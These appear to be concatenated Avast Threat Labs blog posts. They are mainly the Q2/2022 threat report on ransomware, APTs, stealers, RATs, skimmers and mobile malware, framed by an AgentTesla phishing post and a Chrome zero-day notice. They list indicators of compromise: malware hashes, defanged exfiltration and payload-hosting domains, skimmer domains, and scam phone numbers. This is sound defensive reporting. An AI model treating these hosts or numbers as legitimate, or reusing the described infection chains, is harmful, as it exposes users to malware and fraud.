This type of campaign is common and widespread, and exactly this makes it dangerous. The best defense is to be cautious. One of the prevalent signs that appear in these campaigns is the addition of the extension of the expected file format. Very often, we see attachments ending in, for example, pdf.exe or docx.exe.  Attachments like these are almost certainly malware, as they are executable files, but are intended to give the victim the impression that it is a document because they contain pdf or docx in their name.

We recommend anyone receiving these emails to delete them. If you have doubts about whether or not a message they receive is real or fake, do not click on any links or attachments. Instead, reach out to the company from which the message appears to be, directly, by visiting their website and using the contact information listed on the site.

Indicators of Compromise (IoCs)

SHA256 hashes

ISO Attachment:
83fe51953a0fe44389e197244faf90afe8ee80101dc33cb294cf6ef710e5aaba

AgentTesla Downloader Script:
76f707afa3d4b2678aa5af270ea9325de6f8fdc4badf7249418e785438f1b8da

AgentTesla Injector:
eb455ffb1595d1a06fc850ebc49b270ae84dd609e7b52144a60bb45cf4c4eb0e

Infrastructure

FTP Exfiltration Server:
ftp.akmokykla[.]lt

AgentTesla Download Servers:
assltextile[.]com/Su34M.jpg
consult-mob[.]ro/M777.jpg
handcosalon[.]com/Su57.jpg

IoCs are also available in our IoC repository.

The post AgentTesla is threatening businesses around the world with a new campaign appeared first on Avast Threat Labs.

Farewell to Conti, Zloader, and Maldocs; Hello Resurrection of Raccoon Stealer, and more Ransomware Attacks

Foreword

Another quarter has passed, which means it’s time for us to share our Avast Q2/2022 Threat Report with the world. I must admit, time flies. It’s been exactly one year since we’ve started publishing these reports and this last year was everything but boring. This latest report is proof of that.

In Q2/2022, we witnessed just how quickly malware authors can adapt to changes. A few months ago Microsoft announced that it will make it difficult to run VBA macros in Office documents that were downloaded from the Internet. They backpedaled on that promise, but promised it again shortly after. Threat actors have already started preparing various alternative infection vectors, now that their beloved vector they had been using for decades is being blocked by default. For example, IcedID and Emotet have already started using LNK files, ISO or IMG images, and other tricks supported on the Windows platform as an alternative to maldocs to spread their campaigns. It’s likely you’ve already witnessed these in your inboxes.

Exploits spreading in-the-wild also made Q2/2022 interesting. For example, the Follina zero-day vulnerability in Office and Windows was widely exploited by all kinds of attackers. Our researchers also discovered and reported multiple serious zero-day exploits used by malware authors – CVE-2022-2294 affecting browsers from Google, Microsoft, and Apple. We also discovered a zero-day that Candiru exploited to get into the Windows kernel.

After months of decline, we’ve seen a significant (+24%) uptick of ransomware attacks in Q2/2022. This was partially connected to the usual ransomware suspects, but also to sudden changes happening with the Conti ransomware syndicate. Conti finally stopped its operations, but like with the mythical hydra – when you cut off a hydra’s head, two more will grow back, so we have many more ransomware groups and strains to track now. On the bright side, several new free ransomware decryptors were introduced in Q2/2022.

We participated in shutting down Zloader and witnessed the resurrection of Racoon Stealer, who’s core developer was allegedly killed in the Russian war in Ukraine. Speaking of these two countries, the malware risk ratio in these countries has stabilized, but is still higher. We also detected various malware types targeting our users in Japan, Germany, and Brazil in Q2/2022.

Fortunately, malicious cryptojacking coinminers decreased slightly in the quarter, which is good news for victims, as the energy costs are skyrocketing in many countries. And finally, I encourage you to read the mobile section where my colleagues discuss the rise and fall of the most prevalent mobile malware strains such as HiddenAds, Flubot, and SMSFactory.

Happy reading, and stay safe.

Jakub Křoustek, Malware Research Director

Methodology

This report is structured into two main sections – Desktop-related threats, where we describe our intelligence around attacks targeting the Windows, Linux, and Mac operating systems, and Mobile-related threats, where we describe the attacks focusing on the Android and iOS operating systems.

Furthermore, we use the term risk ratio in this report to describe the severity of particular threats, calculated as a monthly average of “Number of attacked users / Number of active users in a given country.” Unless stated otherwise, calculated risks are only available for countries with more than 10,000 active users per month.

Desktop-Related Threats

Advanced Persistent Threats (APTs)

Advanced Persistent Threats are typically created by nation state sponsored groups which, unlike cybercriminals, are not solely driven by financial gain. These groups pursue their nation states’ espionage agenda, which means that specific types of information, be it of geopolitical importance, intellectual property, or even information that could be used as a base for further espionage, are what they are after.

In Q2/2022, the most notable APT campaigns we observed came from the Confucius, Gadolinium/APT40, Gamaredon, and MustangPanda groups.

Confucius

Recently, we discovered a known APT group from India, Confucious, targeting Pakistani embassies in multiple countries like Brunei, Nepal, Argentina, and Azerbaijan from March to June 2022. 

The Confucious group spread their malware by sending phishing emails with PDF attachments, which contained links to phishing websites. These sites imitated official government websites which contained passwords for documents site visitors could download, these documents were malicious. This is done so that the files remain encrypted, to avert detection from static AV scanners.

We spotted malicious documents with various names related to current events, such as “VaccineStatusReport.xlsx”.

The group used documents with malicious macros to drop further infection stages written in C#. 

We also noticed several other malware families like trojan downloaders, file stealers, QuasarRAT and a custom RAT developed in C++ being dropped by the macros.

We suspect that the group may be after intelligence, based on the fact that the malware being used in their attacks is designed to spy on victims and steal files and other data. 

Gadolinium/APT40

We discovered a threat actor hosting payloads on an Australian VOIP telecommunications provider’s servers. The threat actor was abusing a zero-day remote code execution bug in Microsoft Office (CVE-2022-30190). Further analysis indicated that targets in Palau were sent malicious documents that, when opened, exploited the zero-day vulnerability, causing victims’ computers to contact the provider’s website, download and execute the malware, and subsequently become infected. Multiple stages of this attack were signed with a legitimate company certificate to add legitimacy.

When a malicious document was opened it contacted the compromised websites that hosted a first stage “Sihost.exe”, executed by msdt.exe. After execution it downloaded the second stage which was a loader. The loader was then used to download and decrypt the third stage of the attack, an encrypted file stored as ‘favicon.svg’ on the same web server. The third stage of the attack was also used to download and execute the fourth stage, which loads a shellcode from the AsyncRat malware family.

Thanks to the security community this attack was attributed to Gadolinium/APT40, a known Chinese APT group. Given a RAT was the final payload, we suspect the group may be collecting intel from its victims. 

Gamaredon

We saw a steady high volume of Gamaredon detections throughout Q2/2022, similar to what we have been observing since the start of the conflict in Ukraine in February. Gamaredon, a known Russian-backed APT group, continued using the same old toolset, as well as new powershell-based tools and their activity was still tightly focused on Ukraine.

MustangPanda

We’ve noticed multiple MustangPanda (a known Chinese APT group) campaigns running in parallel during Q2/2022 in multiple locations, including Philippines, Myanmar, Thailand, Singapore, Mongolia, and India, as well as in other, new regions the group previously hadn’t been present in. All of these campaigns utilized DLL sideloading for payload delivery, for which the group continued using well known abused binaries, similarly to their previous campaigns, but they also added a few new ones to their arsenal. 

Based on the language and content of the phishing documents they used, the group expanded their activities in Europe e.g. Baltic countries, as well as in South America. The main malware strain being used for the initial infection was still Korplug RAT.

Luigino Camastra, Malware Researcher
Igor Morgenstern, Malware Researcher
Jan Holman, Malware Researcher

Adware

Desktop adware has slowed down this quarter compared to Q1/2022, as the graph below illustrates:

We have monitored a noticeable decrease in risk ratio for users in Africa, the Balkans, the Middle East, and Southeast Asia. On the other hand, there was an increase in risk ratio for users in South America, parts of Europe, and Central Asia; namely, Brazil, Austria, Germany, Switzerland, Tajikistan, and Uzbekistan; see the map below.

In Q1/2022, we observed considerable adware activity in Japan that returned to its average level in Q2/2022. On the contrary, there was a rise in adware activity in Austria and Switzerland, as illustrated in the chart below.

The common denominator for both countries is Revizer adware, which is usually dropped by other malware or free applications. Revizer adware monitors users’ actions on specific sites and updates their content without users’ consent or permission. The adware typically injects unwanted banners on websites the victim visits, rewrites the default home page of browsers, and defines web page text being updated to hyperlinks that lead to unwanted or malicious content.

As in Q1/2022, 65% of adware we saw was from various adware families. The clearly identified strains of Windows adware are: RelevantKnowledge, Cryxos, OpenCandy, MultiPlug, Revizer, and ICLoader. The most viewed adware for MacOS are as follows: MacOS:Bundlore, MacOS:Adload, MacOS:Spigot, MacOS:MaxOfferDeal.

Martin Chlumecký, Malware Researcher
Vladimír Žalud, Malware Analyst

Bots

Emotet developers are keeping up with the times and, as many other projects do, started supporting the 64-bit architecture. Emotet’s 32-bit binaries are no longer distributed. There have also been some minor changes in their backend workflow. While previously, we could have expected to receive the fingerprinting module only once, just after the registration, we are receiving it with every request now. The module’s distribution has also changed a bit. In the past, we would see a new file size quite regularly, now the file size seems to remain stable. However, Emotet samples themselves have gotten bigger, after having a quick look, this was due to Nirsoft’s Mail PassView being included in these new samples.

Perhaps the most noticeable change in botnet behavior was spurred by Microsoft’s announcement that it will be significantly harder to execute VBA macros in documents downloaded from the internet. Since malicious documents are one of the most popular infection vectors, spambots had to react. We have already observed cybercriminals using alternative attack vectors, such as LNK files linking to malicious resources on the internet. Some of the new substitutes are rather unusual. For example, ISO and IMG files are usually images of optical discs and hard drives (or SSDs), but they are now being used as archives instead. Newer versions of Microsoft Windows provide a native way of mounting these images. They have therefore become a viable alternative to maldocs. There are also a few added benefits to using ISO images, such as using hidden files so they can, for instance, use LNK files without needing to rely on remote resources.

In Q2/2022, authorities from the United States, Germany, the Netherlands, and the United Kingdom claim to have dismantled the RSOCKS botnet. This botnet consisted of millions of hacked devices that were rented as proxies to anyone wanting to route their traffic through these devices. Only the botnet was disrupted, so the owner may still try to rebrand and relaunch his/her operation. This theory is supported by a post from Rsocks account on BlackHatWorld forum that informs about RSocks’ end of existence and about a transfer of all active plans, and fund balances to another service which is yet to be announced.

While the development of many botnets was rather turbulent, the landscape itself and the risk ratio remained rather stable. The most significant increase in risk ratio was in Brazil, where users had an approximately 35% higher chance of encountering this kind of malware attack compared to Q1/2022. In contrast to the previous quarter, the risk ratio has almost stabilized in Russia and Ukraine.

In terms of the war in Ukraine, we are still seeing attacks associated with the conflict, usually as a retaliatory action; for instance, attacks targeting Lithuanian infrastructure after imposing a partial goods blockade on Kaliningrad. On the other hand, we have observed a decline in websites that include code to use site visitors’ computers to carry out DDoS on Russian infrastructure. Nevertheless, it is still too soon to declare complete “professionalization” of attacks. After the aforementioned attacks on the Lithuanian infrastructure, It should not be much of a surprise that Ukrainian Telegram channels organizing cyber-vigilantes are also still active and new DDoS target lists are being distributed.

We have seen a significant decline in several botnet showrunners, notably Emotet, Phorpiex, Ursnif, and MyloBot. On the other hand, Qakbot, SDBot, and Amadey have seen rather significant increases in their market share. The most common bots we are seeing are:

• Emotet
• Amadey
• Phorpiex
• MyKings
• Qakbot
• Nitol
• Tofsee

Adolf Středa, Malware Researcher

Coinminers

With the energy crisis on our shoulders and electricity bills reaching new heights, coinminers can cause more harm than ever before. Fortunately, in comparison to the previous quarter, there was quite a big decline in the overall coinmining activities during Q2/2022, -17% of risk ratio in total. This is further underlined by the fact that cryptocurrencies are at their long term lows, turning the return of investment less attractive for the attackers.

Even though the number of overall attacks decreased, we did observe users in some countries being targeted more than others, including Madagascar with a 9.12% risk ratio (+57% Q2/2022 vs. Q1/2022). Based on our telemetry, this is due to the increased NeoScrypt activity in the region. The second most impacted country is Serbia with a 7.16% risk ratio (+25% Q2/2022 vs. Q1/2022) where we saw web miners used more often.

The leading trend continues to be web miners. These miners are commonly used as a substitute, or on top of ads on websites, to further monetize site owners’ profits, and are usually completely hidden and run without any users’ consent.

The notorious XMRig is still leading the murky waters of executable miners, being it used as a standalone application or ultimately hidden as the final payload of the vast constellation of droppers, mining worms, or configured as a dedicated module of information stealers and other monetary-focused malware.

The most common coinminers in Q2/2022 were:

• Web miners (various strains)
• XMRig
• CoinBitMiner
• NeoScrypt
• CoinHelper

At this point, we would like to remind our readers about the distinction between mining tools and mining malware. If you are interested in learning the difference between the two, please read our guidelines.

Jan Rubín, Malware Researcher

Information Stealers

Two important things happened in Q2/2022: The first is the shutdown of Zloader at the end of March. The second is the release of the version 2.0 of Raccoon Stealer in May. 

Despite this, Q2/2022 didn’t bring much change in the overall numbers. The trend is just slightly increasing, following the previous quarter.

Targeted regions also didn’t change much, the number of users we protected in countries around the world only changed slightly compared to the previous quarter. The only notable change happened in Angola, where the risk ratio dropped (-18%) mostly due to a decline in Fareit infections.

The most common information stealers in Q2/2022 were:

• FormBook
• Lokibot
• AgentTesla
• Fareit
• RedLine
• VIPSpace

Return of Raccoon Stealer

Raccoon Stealer is a popular information stealer that has been around since 2019. It is capable of stealing various data, including cookies, and cryptowallet files. The actors behind Raccoon Stealer use the Telegram infrastructure to deliver actual C&C addresses to bots. You can read our in-depth technical analysis of Raccoon Stealer here.

In March 2022, the development and spreading of Raccoon Stealer was paused: a team member allegedly died during the war in Ukraine:

However, we started to see new samples of Raccoon Stealer in May 2022, indicating the beginning of the group’s new era. Shortly after, in late June 2022, the group made an announcement that Raccoon Stealer 2.0 is ready and released and that the group is back in business.

Interestingly, the new version is much simpler and smaller. The malware’s authors didn’t use any traffic encryption, C&Cs are hardcoded in the samples, responses from C&C servers are no longer in JSON format, and more features that were included in version 1.0 are missing.

Zloader Shutdown

Zloader was an infamous banker with a wide range of capabilities: it was able to download and execute other malware, steal cookies and cryptowallet files. It was also able to inject arbitrary code in HTML pages to steal money from online banking systems. 

Our mission is to protect digital freedom, and in order to do so, we need to go after the bad guys who threaten that freedom. At the end of March 2022, after months of cooperating with Microsoft and other major players from the security industry, our analysis of Zloader played a role in taking down the Zloader infrastructure. A Zloader team member was also identified as a result of the investigations. We haven’t seen any new Zloader C&C activities since. 

During our analysis of Zloader, we discovered links to other malware: Raccoon Stealer and Ursnif. Two out of three Zloader download tasks contained links to Raccoon Stealer, they used the same configuration. Furthermore, Raccoon Stealer was mentioned in an analysis published by Checkpoint before we received commands from C&Cs, which included links to Raccoon Stealer. A bigger surprise to us was when we found Zloader samples and Ursnif samples signed with the same digital signature. This leads us to believe that the group behind Zloader is either working with the groups behind Raccoon Stealer and Ursnif or purchased and applied their products.

Jan Rubín, Malware Researcher
Vladimir Martyanov, Malware Researcher

Ransomware

For those who read our previous Threat Reports (Q1/2022, Q4/2021, etc.), you may recall that the volume of ransomware attacks had been declining over the past few quarters. This was most likely a result of several busts and takedowns, Russian officials persecuting ransomware-gangs, and other impactful actions carried out by law enforcement. The bad news is that this is no longer the case in Q2/2022. We’ve witnessed a significant increase of ransomware attacks: +24% globally compared to Q1/2022. Clearly, ransomware is not going away this year.

The countries in which users are most at risk of encountering ransomware are:

• Yemen (0.53% risk ratio)
• Egypt (0.41%)
• Algeria (0.37%)
• Vietnam (0.32%)

The highest Q/Q increases in ransomware risk ratio occurred in Argentina (+56%), UK (+55%), Brazil (+50%), France (+42%), and India (+37%).

The most prevalent ransomware samples in Q2/2022 were:

• STOP
• WannaCry
• Conti (and its successors)
• Lockbit
• Thanatos
• HiddenTear variants
• CrySiS
• Cryakl

It’s well known that the ransomware business is based on blackmailing – the cybercriminals render data inaccessible in the hopes that victims pay to get their data back. The process, however, is, unfortunately, not that straightforward. According to a recent survey conducted by Venafi, 35% of victims paid the ransom, but were still unable to retrieve their data. This is a good reminder that there is no guarantee that upon paying the ransom, victims get their data back. Please, backup your data regularly – so that if you fall for ransomware, you are not pressured into paying a ransom fee to get your data back!

To protect your computer or company’s network even further, make sure you regularly update your PC – the operating system, your antivirus, and even the applications you are using. According to our fellow security researchers at Group-IB, ransomware gangs are relying on existing vulnerabilities more and more, exploiting them to get their ransomware onto devices. According to the joint report by Cyber Security Works, Securin, Cyware and Ivanti, there was a 6.8% increase in vulnerabilities actively exploited by ransomware (Q1/2022 vs. Q4/2021), and there are now 157 vulnerabilities actively being exploited by ransomware operators. 

Luckily, ransomware developers are humans too, so they can make mistakes when developing their “products”. One such example is the TaRRaK ransomware which we successfully analyzed, and found a weakness in its encryption schema. This allowed us to release a free decryption tool for the ransomware in June.

Related to the same topic, a legitimate company can improve its product by announcing a bug bounty – an open contest, challenging everyone to find bugs in its product and giving rewards for it. Ransomware developers do the same. The authors of LockBit 3.0 announced a bug-bounty challenge, paying for bugs found in their website, encryption and even paying people who deliver good ideas to the ransomware gang.

On the bright side, the operators behind the AstraLocker ransomware announced that they are shutting down their business and moving on to the area of crypto-jacking. As part of the shutdown, a ZIP file with decryptors was published. Anyone who fell victim to this ransomware in the past, can therefore now decrypt their data without paying the ransom.

In our previous report, we described the latest development around the Sodinokibi / REvil ransomware. After the arrest of some of the gang members at the end of 2021, and the decline of the ransomware samples, things changed a bit  in Q2/2022. On April 7th, Russian news agency TASS reported that “Washington announced that it unilaterally shut down the communication channel on cybersecurity with Moscow”. Shortly after this, on April 19th, REvil’s TOR sites were back online and a new ransomware operation began. Two weeks later, new ransomware samples started to appear. It seemed that REvil was back at that moment, but luckily pretty much nothing related to REvil has happened since. Let’s hope it will stay the same.

But Sodinokibi/REvil was not the only ransomware group with ties to Russia…

Conti

The first public mention of victims of the new Conti ransomware dates back to 2019. However, it was not entirely new, it was a continuation of the Ryuk ransomware from 2018, which had ties to the Hermes ransomware from 2017. Over time, Conti transformed from a small ransomware group to a ransomware syndicate, and it was in the news spotlight many times in Q2/2022. 

We’ve previously reported about a breach of Conti’s infrastructure by a Ukrainian security researcher leading to a leak of their source-codes and internal communications. Conti, which collected more than 150 million USD in ransom, as of January 2022, based on estimates from the US Department of State, resumed its operations and continued targeting dozens of organizations. Moreover, in Q2/2022, Conti targeted 27 Costa Rican government bodies in Q2/2022, causing the country to declare a national state of emergency. A second wave of attacks targeting the country’s healthcare was carried out using HIVE, a ransomware-as-a-service which Conti has ties to. Our telemetry reveals Costa Rica as the fourth highest country in terms of risk ratio (+101% increase, compared to Q1/2022). 

Conti’s resurrection was short-lived, and ended in June when their operations were shut down by its authors. We believe it was a result of multiple factors, including the aforementioned leak, unwanted attention, revealed connection to Russia, and complications with victim payments, because these may be violating U.S. economic sanctions on Russia.

Unfortunately, the end of one malware threat rarely means peace and quiet, and this especially applies to ransomware. The end of the Conti syndicate may lead to hundreds of cybercriminals moving to work with other groups, such as Hive, BlackCat, or Quantum, or them working on new ransomware “brands”, e.g. Black Basta or Karakurt. Let’s see how the Conti story will continue in Q3/2022…

Jakub Křoustek, Malware Research Director
Ladislav Zezula, Malware Researcher

Remote Access Trojans (RATs)

Same year, new quarter and similar level of RAT activity. This quarter’s RAT activity was inline with what we are used to seeing, although spiced up by the appearance of some previously unseen RATs. We can speculate that the activity is going to slightly decrease in the summer.

The most affected countries in Q2/2022 were Papua New Guinea, Yemen and Turkmenistan. There was a drop in RAT activity in countries involved in the ongoing war in Ukraine, with risk ratios dropping by -26% in the Ukraine, compared to Q1/2022, and -43% in Russia, and -33% in Belarus. This might suggest a bit of slowing down after the initial wave of attacks we reported in our last report. On the other hand, we’ve seen a huge increase in RAT attacks in Japan (+63%), due to AsyncRat, and in Germany (+28%), mainly due to Netwire.

The most prevalent RATs based on our telemetry in this quarter were:

• njRAT
• Warzone
• AsyncRat
• Remcos
• NanoCore
• NetWire
• HWorm
• QuasarRAT
• LuminosityLink
• FlawedAmmyy

While njRAT and Warzone are steadily leading the bunch, there has been a change in the third spot. AsyncRat moved up by one place. One of the reasons for this change might be because the Follina vulnerability (CVE 2022-30190) was used to distribute this RAT, as we reported in June.

Other RATs whose prevalence increased considerably in Q2/2022:

• BlackNix
• VanillaRAT
• HWorm
• Borat

HWorm is a RAT written in JavaScript, we saw a big increase in detections, causing the RAT to make it into the top 10 most prevalent RATs this quarter. HWorm was mostly active in Africa and Central Asia.

The Borat RAT, which appeared in Q1/2022, is steadily gaining a foothold amongst its competition. It made the news again when its source code leaked. It turned out it was a decompiled code and not the original source code, nevertheless this leak might still lead to derivatives appearing.

In May, we tweeted about a campaign targeting Unicredit bank in Italy which made use of a slightly modified version of HorusEyes. HorusEyes is a RAT, publicly available on GitHub.

In our Q1/2022 report, we closed our RAT section mentioning two new RATs written in Go. In Q2/2022, there was at least one new addition, the Nerbian RAT. Nerbian is usually delivered via phishing emails with Microsoft Office attachments containing macros. The macro executes a downloader, which deploys the RAT payload on victims’ computers. The set of features included is fairly common as you would expect in a modern RAT, including logging keystrokes, capturing screen etc.

We have also spotted malware which seems to be a crossover between a bot and a RAT named MSIL/Bobik, being used to carry out DDoS attacks. Its features also include manipulating files and exfiltrating them from victim systems, deploying additional malware, stealing credentials etc. We tweeted some of its targets, which seem to be pro Ukraine targeting companies and governments supporting Ukraine.

APT group GALLIUM, likely a Chinese state-sponsored group, was seen using a new remote access trojan named PingPull as reported by Palo Alto Networks Unit 42. PingPull can make use of three protocols to facilitate communication with its command and control server (ICMP, HTTP, and raw TCP). It tries to hide as “Iph1psvc” service mimicking the legitimate IP Helper service, including taking on its name and description. The functions available include manipulating files, enumerating drives and running commands on victim system.

At the end of June, we observed a new campaign delivering the AgentTesla RAT to potential victims in Czech Republic and Hungary, using phishing emails as an entry point. The emails claim confirmation of an unspecified check is needed, referring to a previous phone call (that never happened) in order to trick recipients into opening the attachment.

There was another piece of news regarding AgentTesla: A group of three suspected global scammers from Nigeria were arrested according to INTERPOL. They used AgentTesla to access business computers and divert monetary transactions to their own accounts.

The last days of this quarter brought news of ZuoRAT targeting SOHO routers, as reported by Lumen. This RAT allows attackers to pivot into the local network and to make connected devices install additional malware.

Ondřej Mokoš, Malware Researcher

Rootkits

In Q2/2022, rootkit activity remained on the same level as the previous quarter, as illustrated in the chart below. A little surprise is a relatively stable trend this quarter, despite the many campaigns that we have observed, as campaigns usually cause peaks in trends.

In our previous quarterly report, we introduced the rising trend of r77-Rootkit (R77RK), representing 37% of all identified rootkits. This trend continued in Q2/2022, and R77RK represented more than 57% of the rootkits we detected. We also monitored the activity of R77RK in its GitHub repository, and it is evident that the rootkit development is still active within several new branches. Consequently, R77RK has become the major rootkit since its trend copies the overall rootkit trend in Q2/2022, as the graph below demonstrates.

This phenomenon can explain the stable trend, as integrating R77RK into any malware is easy thanks to the excellent rootkit documentation. Therefore, malware authors have started to abuse this rootkit more frequently.

The map below animates that China is still the most at-risk country in terms of all the users we protected from rootkits in general, and R77RK has spread to South America, Africa, East Europe, and Southwest Asia.

In comparison to Q1/2022, the risk ratio has increased for users in the following countries: Brazil, Ukraine, Colombia, and Italy. On the other hand, the risk ratio decreased for users in Taiwan, Malaysia, and China.

In summary, China remains the country in which users have the highest risk of encountering a rootkit, and the activity seems uniform due to the increasing dominance of R77RK. We will have to wait till Q3/2022 to see whether or not R77RK is still the most prevalent rootkit in the wild.

We also published an analysis of a new evasive Linux malware known as Syslogk we discovered. Even if other open source kernel rootkits (e.g. Reptile) are clearly more prevalent Linux threats, we noticed that more stealthy Linux malware is being developed (e.g. Symbiote and OrBit). Let’s see if cybercriminals will continue to target Linux servers next quarter.

Martin Chlumecký, Malware Researcher
David Àlvarez, Malware Researcher

Technical support scams

It appears the scammers behind tech support scams (TSS) are taking a break to enjoy the summer weather, as there were no big spikes in TSS activity in Q2/2022. In May, we saw a 12% drop in comparison to the previous month. This drop can be  partially due to the INTERPOL operation against social engineering scammers. According to the report, many call centers worldwide were raided by the police in an attempt to clampdown on organized crime.

The top affected countries are still the same as in Q1/2022, but it looks like there was a slight increase in TSS activity in risk ratio in Japan (+2,35%) as well as Germany (+0,98%) in Q2/2022, compared to Q1/2022

In Q2/2022, we registered hundreds of unique telephone numbers used in TSS scams. Here are the top 20 phone numbers:

1-888-845-1636	1-833-987-2752
1-888-520-2539	1-888-788-7144
1-855-568-2875	1-888-909-8613
1-888-731-1647	1-866-498-0028
1-888-503-8316	1-844-563-1918
1-888-474-3849	1-855-568-2877
1-855-485-2901	1-844-697-0039
1-866-603-0648	1-888-608-2514
1-844-793-8999	1-844-580-1408
1-888-660-0513	1-855-484-1999

Alexej Savčin, Malware Analyst

Vulnerabilities and Exploits

Q2/2022 surprised us with the return of Candiru. This notorious spyware vendor came back with an updated toolset and fresh zero-day exploits. We managed to capture two zero-days used by Candiru, and discovered evidence suggesting that they have at least one more zero-day at their disposal. 

The first zero-day we found abused a bug in WebRTC (CVE-2022-2294) and was exploited to attack Google Chrome users in highly targeted watering hole attacks. As the bug was located in WebRTC, it affected not only Google Chrome, but also many other browsers. As a result, Google, Microsoft, and Apple all had to patch their respective browsers. This WebRTC vulnerability allowed Candiru to achieve remote code execution (RCE) in a sandboxed renderer process. A second zero-day exploit was needed to escape the sandbox. Unfortunately, Candiru was serious about protecting its zero-days against threat hunters like us, so the nature of the sandbox escape exploit remains a mystery for now. 

A third zero-day that Candiru exploited to get into the Windows kernel, on the other hand, did not remain a mystery to us. This was a vulnerability in a third-party signed driver that Candiru smuggled onto their target’s machine, BYOVD style. This vulnerability was a textbook example of a common vulnerability class, where a driver exposes IOCTLs that let attackers directly access physical memory.

In other vulnerability news, the Follina zero-day (discovered in the wild by nao_sec in May) was widely exploited by all kinds of attackers, ranging from common opportunistic cybercriminals to Russia-linked APTs operating in Ukraine. Interestingly, we also discovered an outbreak of Follina targeting Palau, an enchanting tiny archipelago in Micronesia. 

Follina remained unpatched for quite a while which, combined with the ease of exploitation, made it a very serious threat. Follina was mostly exploited through Microsoft Office documents, where it could execute arbitrary code even without the victim having to enable macros. This relates to another factor that might have contributed to Follina’s popularity: Microsoft’s decision to block macros by default. While Microsoft seemed to be unsure about this decision, rolling it back shortly after announcing because of “user feedback”, the latest decision is to block macros from untrusted sources by default. We hope it stays that way.

The most frequently used exploit for MacOS was MacOS:CVE-2019-6225 in Q2/2022. This memory corruption issue was available for MacOS, iOS, and tvOS and malware strains were using those to elevate privileges. Furthermore, MacOS:CVE-2022-26766 was also prevalent as it was available for tvOS, iOS iPadOS, macOS, and watchOS. The software did not validate a certificate. Malicious apps were thus able to bypass signature validation.

Jan Vojtěšek, Malware Reseracher

Web skimming 

In Q2/2022 we observed several malicious domains that served skimmer code for months without being taken down. For example, we have been detecting fraudlabpros[.]at since February 2022 and it is still active and serving heavily obfuscated malicious skimmer code.

The code below was found on the infected e-commerce site pricelulu[.]co[.]uk. Malicious actors continuously use the same technique: They pretend to load a script from googletagmanager.com, but instead malicious Javascript from //fraudlabpros[.]at/jquery.min.js?hash=a7214c982403084a1681dd6 is loaded.

Another domain that is still active and has been used since at least February is segtic[.]com, it resolves to IP 54.39.48.95 from 2020-09-29. It is connected to jqueryllc[.]net that was used in malicious code as an exfiltration domain for payment details.

The most common content detection in Q2/2022 was a skimmer that mostly attacks Magento websites. This skimmer exploits compromised third party websites to exfiltrate payment details. The pattern for exfiltration details was the same every time – <breached_website>/pub/health_check.php. In some cases the skimmer was simple 50 line code, in other cases, the skimmer inserted its own payment form on the compromised website and the payment details were custom encoded before exfiltration.

This quarter,  we saw an increase in web skimmer activity in Serbia, caused by the malicious domain yoursafepayments[.]com, which infected the e-commerce website planetbike[.]rs. The malicious domain is the same one used in the attack on Philco Brazil in February that we tweeted about. Several e-commerce websites around the world have been infected with this malicious domain and attackers have also used other filenames that contain malicious code (des.css, back.css, text.css, s.css), not just fonts.css.

Overall, web skimming attacks are still prevalent and in many cases they remain on infected websites for a long time.

Pavlína Kopecká, Malware Analyst

Mobile Threats

Adware

As with last quarter, adware clearly dominates the mobile threat landscape, as has been the case for the last few years. While not necessarily as malicious as other Android threats, adware has a significant negative impact on the user experience with intrusive advertisements that can permeate the entire device, often paired with stealth features to avoid discovery.

Strains such as HiddenAds and FakeAdblockers use overlays that go on top of the user’s intended activity, creating pop ups that hassle and frustrate the user when using the infected device. Another common feature used in strains such as MobiDash is to delay adware activity by several days to fool the user into thinking it may be caused by another app. Coupled with stealth features such as hiding their own app icon and name, the Adware’s may become fairly difficult for the user to identify.

While the Google Play Store has been a favorite method of delivery, repackaged games and applications are increasingly being bundled with adware. Users are advised to avoid unofficial app sources to prevent adware infection, and to check reviews as well as permissions on official app stores. Adware is often disguised as games, QR code scanners, camera filters and photo editing apps among others.

Asia, the Middle East, and South America continue to be the regions most affected by mobile adware, as shown in the map below. Brazil, India, Argentina, and Mexico hold the top spots, however we saw a 33% decrease in protected users on average when compared to last quarter in these countries. On the other hand, the US holds fifth place where we see a 15% uptick in protected users. Despite these shifts, adware is and continues to be a persistent threat and annoyance to users worldwide.

Bankers

Q2/2022 was eventful in the mobile banker malware domain. While Cerberus/Alien holds the top spot for most users protected, Hydra has again been surpassed by Flubot for second place. This is despite the news that the Flubot group has been disbanded by Europol in May. Avast observed a large SMS phishing campaign in several European countries just prior to the takedown. It remains to be seen what effect Flubot’s takedown will have on the overall Banker sphere.

Infection vectors for bankers appear to remain largely the same, relying on fake delivery messages, voicemails and similar. These masquerading techniques appear to yield results as reflected in the continuously high numbers of protected users. Unfortunately, we have observed that infected devices are often used to further spread banker malware via SMS and other messaging services, contributing to the high numbers.

Taking into account Flubot’s takedown in May, as well as other disruptions to its spread in last quarter, we see a steady decrease in the number of protected users from last quarter. We have dipped below the numbers prior to Flubot’s entry into the market back in April 2021.

In Q2/2022 Spain, Turkey and Australia are again the most targeted markets, as has been the case for several quarters now, despite an average of 24% less protected users when compared to last quarter. Interestingly, France and Japan are also among the top affected countries, where despite the downward trend of banker attacks, we see a 12% increase in protected users.

TrojanSMS

As reported in Q1/2022, a new wave of premium subscription-related scams was unleashed on Android users. UltimaSMS, GriftHorse and Darkherring malware strains caused significant hassle and financial losses to users worldwide. Continuing the trend of SMS focused malware, we are seeing a big uptick in users protected from a newly discovered strain of TrojanSMS, SMSFactory, taking the top spot in Q2/2022, followed by DarkHerring.

SMSFactory takes a different approach when compared to the previous premium SMS subscription malwares. Instead of subscribing victims to premium services, it sends SMS messages to premium numbers to extract money from its victims. Unlike UltimaSMS or others that used the Play Store as an infection vector, SMSFactory is spreading through pop ups, redirects and fake app stores. It has gathered a considerable number of victims in a short span of time. With its stealth features, such as hiding its icon and not having an app name, it may prove difficult to identify and remove, causing havoc on the victim’s phone bill.

There is a notable shift in focus, mainly due to SMSFactory’s worldwide spread. Brazil, Russia and Germany have the highest number of protected users, while Iraq, Azerbaijan and Haiti have the highest risk numbers. It is clear SMSFactory takes a different and effective approach to its spread and it is reflected in the high numbers of protected users.

The quarterly Q2/2022 graph shows a steady increase, mainly due to SMSFactory and its new versions popping up later in the quarter. We expect this trend to continue into the next quarter.

Jakub Vávra, Malware Analyst

Acknowledgements / Credits

The post Avast Q2/2022 Threat Report appeared first on Avast Threat Labs.

We recently discovered a zero-day vulnerability in Google Chrome (CVE-2022-2294) when it was exploited in the wild in an attempt to attack Avast users in the Middle East. Specifically, a large portion of the attacks took place in Lebanon, where journalists were among the targeted parties.

The vulnerability was a memory corruption in WebRTC that was abused to achieve shellcode execution in Chrome’s renderer process. We reported this vulnerability to Google, who patched it on July 4, 2022.

